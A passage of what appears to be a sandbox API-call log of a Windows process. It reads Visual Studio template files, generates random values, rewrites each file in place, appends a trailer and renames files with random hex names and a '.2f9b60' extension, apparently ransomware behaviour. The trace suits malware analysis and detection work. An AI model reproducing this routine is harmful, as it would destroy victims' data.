(normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip")) returned 0x20 [0228.255] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip", dwFileAttributes=0x20) returned 1 [0228.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cf4 [0228.256] GetFileSizeEx (in: hFile=0x1cf4, lpFileSize=0x2ad7fe40 | out: lpFileSize=0x2ad7fe40*=1413) returned 1 [0228.256] SetFilePointerEx (in: hFile=0x1cf4, liDistanceToMove=0x581, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.256] ReadFile (in: hFile=0x1cf4, lpBuffer=0x2ad7fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ad7fe08, lpOverlapped=0x0 | out: lpBuffer=0x2ad7fdc0*, lpNumberOfBytesRead=0x2ad7fe08*=0x4, lpOverlapped=0x0) returned 1 [0228.376] SetFilePointerEx (in: hFile=0x1cf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860db0 [0228.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0228.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860690 [0228.376] NtQuerySystemTime (in: CurrentTime=0x2ad7fd00 | out: CurrentTime=0x2ad7fd00*=132462178323694000) returned 0x0 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x90f9da4 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x3f883b0b [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x79b19ab4 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x51a6c9ab [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x5d057643 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x763a125b [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x390260f2 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x607bd430 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x1f31dbc7 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x37a287ff [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x2ac972df [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x74e31f35 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x1fe46e93 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x7e158e74 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x3d353ba9 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x5828e506 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x553fb6ca [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x50694004 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x14e63792 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x8714a49 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x4bbeb62 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x78fecd67 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x13c1e073 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x1641cdfc [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x6f265b33 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x2c9c2415 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x737b9b72 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x50a7268b [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0xeaf0635 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x4d7299f0 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x4807cdf9 [0228.377] RtlRandomEx (in: Seed=0x2ad7fcf0 | out: Seed=0x2ad7fcf0) returned 0x42bec836 [0228.384] ReadFile (in: hFile=0x1cf4, lpBuffer=0x4266c580, nNumberOfBytesToRead=0x585, lpNumberOfBytesRead=0x2ad7fcf0, lpOverlapped=0x0 | out: lpBuffer=0x4266c580*, lpNumberOfBytesRead=0x2ad7fcf0*=0x585, lpOverlapped=0x0) returned 1 [0228.384] SetFilePointerEx (in: hFile=0x1cf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.384] WriteFile (in: hFile=0x1cf4, lpBuffer=0x426779b0*, nNumberOfBytesToWrite=0x585, lpNumberOfBytesWritten=0x2ad7fcf4, lpOverlapped=0x0 | out: lpBuffer=0x426779b0*, lpNumberOfBytesWritten=0x2ad7fcf4*=0x585, lpOverlapped=0x0) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0233.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0233.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0233.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426779b0) returned 1 [0233.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4266c580) returned 1 [0233.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cb40) returned 1 [0233.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x2050f460 [0233.393] SetFilePointerEx (in: hFile=0x1cf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.393] WriteFile (in: hFile=0x1cf4, lpBuffer=0x431a8e90*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ad7fe10, lpOverlapped=0x0 | out: lpBuffer=0x431a8e90*, lpNumberOfBytesWritten=0x2ad7fe10*=0x102, lpOverlapped=0x0) returned 1 [0235.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4250 [0235.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4250) returned 1 [0235.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0235.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4250 [0235.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0170 [0235.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0170) returned 1 [0235.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x423a0170 [0235.810] sprintf (in: _Dest=0x423a0170, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.810] sprintf (in: _Dest=0x423a0172, _Format="%c%c" | out: _Dest="4a") returned 2 [0235.810] sprintf (in: _Dest=0x423a0174, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.810] sprintf (in: _Dest=0x423a0176, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.810] sprintf (in: _Dest=0x423a0178, _Format="%c%c" | out: _Dest="66") returned 2 [0235.810] sprintf (in: _Dest=0x423a017a, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.811] sprintf (in: _Dest=0x423a017c, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.811] sprintf (in: _Dest=0x423a017e, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.811] sprintf (in: _Dest=0x423a0180, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.811] sprintf (in: _Dest=0x423a0182, _Format="%c%c" | out: _Dest="69") returned 2 [0235.811] sprintf (in: _Dest=0x423a0184, _Format="%c%c" | out: _Dest="89") returned 2 [0235.811] sprintf (in: _Dest=0x423a0186, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.811] sprintf (in: _Dest=0x423a0188, _Format="%c%c" | out: _Dest="af") returned 2 [0235.811] sprintf (in: _Dest=0x423a018a, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.811] sprintf (in: _Dest=0x423a018c, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.811] sprintf (in: _Dest=0x423a018e, _Format="%c%c" | out: _Dest="68") returned 2 [0235.811] RtlInitAnsiString (in: DestinationString=0x2ad7fe88, SourceString="a14afab466b87bb56e69897dafe1c568" | out: DestinationString="a14afab466b87bb56e69897dafe1c568") [0235.811] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ad7fe58, SourceString="a14afab466b87bb56e69897dafe1c568", AllocateDestinationString=1 | out: DestinationString="a14afab466b87bb56e69897dafe1c568") returned 0x0 [0235.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97800 [0235.812] wcscat (in: _Dest=0x430d69c0, _Source="a14afab4" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4" [0235.812] wcscat (in: _Dest=0x430d69c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4.2f9b60" [0235.812] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4.2f9b60", NtPathName=0x2ad7fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\a14afab4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b78f780 Thread: id = 3787 os_tid = 0xf78 [0227.632] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip")) returned 0x20 [0228.257] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip", dwFileAttributes=0x20) returned 1 [0228.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2714 [0228.258] GetFileSizeEx (in: hFile=0x2714, lpFileSize=0x2b71fd40 | out: lpFileSize=0x2b71fd40*=771) returned 1 [0228.258] SetFilePointerEx (in: hFile=0x2714, liDistanceToMove=0x2ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.258] ReadFile (in: hFile=0x2714, lpBuffer=0x2b71fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b71fd08, lpOverlapped=0x0 | out: lpBuffer=0x2b71fcc0*, lpNumberOfBytesRead=0x2b71fd08*=0x4, lpOverlapped=0x0) returned 1 [0228.607] SetFilePointerEx (in: hFile=0x2714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0228.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f62b0 [0228.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6310 [0228.608] NtQuerySystemTime (in: CurrentTime=0x2b71fc00 | out: CurrentTime=0x2b71fc00*=132462178326034000) returned 0x0 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x344221ec [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0xa1137ac [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x73cc0abc [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x19279fc [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0xeeb0c43 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x5bdef9fb [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0xa1137ac [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x317a69db [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x39b84f8a [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x7cdb277e [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x527579e8 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x452424cf [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x63c5584b [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x63fd54ab [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x42c2fbff [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x7f12244b [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x7fab188f [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x186f0542 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x351fd374 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x6c82abc1 [0228.608] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x5ea47bd [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x6df8697d [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x1ccecea8 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x6db458f5 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x710a6807 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x12dcd207 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x7d6ae65e [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x1586f479 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x23b2f330 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x2e119ca7 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x7bfe6572 [0228.609] RtlRandomEx (in: Seed=0x2b71fbf0 | out: Seed=0x2b71fbf0) returned 0x797577ef [0228.616] ReadFile (in: hFile=0x2714, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x2b71fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x2b71fbf0*=0x303, lpOverlapped=0x0) returned 1 [0228.616] SetFilePointerEx (in: hFile=0x2714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.616] WriteFile (in: hFile=0x2714, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x303, lpNumberOfBytesWritten=0x2b71fbf4, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2b71fbf4*=0x303, lpOverlapped=0x0) returned 1 [0232.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd00 [0232.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0232.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0232.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0232.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0232.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0232.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c90) returned 1 [0232.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202abd60 [0232.990] SetFilePointerEx (in: hFile=0x2714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.990] WriteFile (in: hFile=0x2714, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2b71fd10, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2b71fd10*=0x10c, lpOverlapped=0x0) returned 1 [0235.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0235.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0235.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0235.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4205a2c0 [0235.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0d0 [0235.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0a0 [0235.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b0a0) returned 1 [0235.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0235.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f030 [0235.602] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="fe") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="45") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="4b") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="34") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="67") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="db") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="13") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="06") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="94") returned 2 [0235.602] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="91") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: _Dest="7a") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="49") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f058, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f05a, _Format="%c%c" | out: _Dest="de") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f05c, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f05e, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f060, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.603] sprintf (in: _Dest=0x1cd9f062, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.603] RtlInitAnsiString (in: DestinationString=0x2b71fd88, SourceString="f4adfe454b34e867db13063c9491c04c3d7aca498adefdb9aa4c" | out: DestinationString="f4adfe454b34e867db13063c9491c04c3d7aca498adefdb9aa4c") [0235.603] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b71fd58, SourceString="f4adfe454b34e867db13063c9491c04c3d7aca498adefdb9aa4c", AllocateDestinationString=1 | out: DestinationString="f4adfe454b34e867db13063c9491c04c3d7aca498adefdb9aa4c") returned 0x0 [0235.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e790 [0235.604] wcscat (in: _Dest=0x423aa470, _Source="f4adfe454b34e" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e" [0235.604] wcscat (in: _Dest=0x423aa470, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e.2f9b60" [0235.604] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e.2f9b60", NtPathName=0x2b71fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\f4adfe454b34e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x169090 Thread: id = 3788 os_tid = 0xfc0 [0227.633] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip")) returned 0x20 [0228.259] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip", dwFileAttributes=0x20) returned 1 [0228.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2d48 [0228.260] GetFileSizeEx (in: hFile=0x2d48, lpFileSize=0x29abfda0 | out: lpFileSize=0x29abfda0*=14105) returned 1 [0228.260] SetFilePointerEx (in: hFile=0x2d48, liDistanceToMove=0x3715, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.260] ReadFile (in: hFile=0x2d48, lpBuffer=0x29abfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29abfd68, lpOverlapped=0x0 | out: lpBuffer=0x29abfd20*, lpNumberOfBytesRead=0x29abfd68*=0x4, lpOverlapped=0x0) returned 1 [0228.664] SetFilePointerEx (in: hFile=0x2d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e50 [0228.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0228.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0228.664] NtQuerySystemTime (in: CurrentTime=0x29abfc60 | out: CurrentTime=0x29abfc60*=132462178326502000) returned 0x0 [0228.664] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x7f26dff3 